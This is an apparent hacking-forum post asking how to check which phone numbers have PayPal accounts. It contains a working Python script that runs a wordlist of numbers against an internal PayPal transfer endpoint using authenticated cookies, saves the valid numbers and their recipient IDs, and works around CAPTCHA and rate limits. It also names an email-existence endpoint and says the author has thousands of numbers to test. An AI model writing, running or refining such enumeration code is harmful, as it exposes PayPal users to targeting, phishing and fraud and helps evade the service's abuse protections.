HOW TO check Paypal phone/mobile number validity ?

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Following api is used for checking email:

Code:

https://www.paypal.com/welcome/rest/v1/emailExists

But I didn't get any proper api for phone number validation. Currently, I'm using an hack that invites a person via phone number. Invalid phone number returns with json data that includes [recipientId] key is empty. For valid, it return some hash length 13 like `MKWCCUXWRVASE`.
I captured this api from `network` tab in firefox.

Here's my code:
import requests, json, time

Country_Code = "92"                                                                                                                                  # Pakistan country code
wordlist = "numbers.txt"
url = "https://www.paypal.com/myaccount/transfe...ipient=%2B" + Country_Code + "%20"
headers = {"Accept":"application/json", "Cookie":"Cookie: ts=..."}                                                                    # Cookies must be authenticated

with open(wordlist) as lines:
    for number in lines:
        number = number.strip()
        while True:
            text = requests.get(url + number, headers=headers()).text
            data = json.loads(text)
            if "htmlResponse" in data:
                input("Please solve capcha")
                continue
            hash = data["data"]["recipientDetails"]["recipientId"]
            if hash is None:
                print(number)
            else:   
                print("FOUND:" + number)
                open("valid.txt","a").write(number + ":" + hash + "\n")
            time.sleep(3)
            break
# Message for staff: It took too long for code syntax highlighting. Its for readers ease. Please support such feature.
# Use prism or rainbow


If number is VALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+91 xxxxxxxxxx",
"token": "PP-P42S84634M3922825H",
"recipientId": "MKWCCUXWRVASE",
...

If number is INVALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+92 xxxxxxxxxx",
"token": "PP-P3B982940TG386220S",
"recipientId": null,
...


But this method is between manual and automatic way and has limitations:
- need authenticated cookies
- have to solve google recapcha (both v2,v3) manually on website
- recapcha frequency and toughness increases with increase in time with respect to number of requests/sec
- even after googl recapcha v3, it blocks for around 10 min


Actually, I have thousands of phone numbers. Google/telegram/flipkart contacts api allows to get info from a number.

I'm Masoom Shetaan (innocent evil). Both are opposites. It just depend upon challenge I have been assigned.

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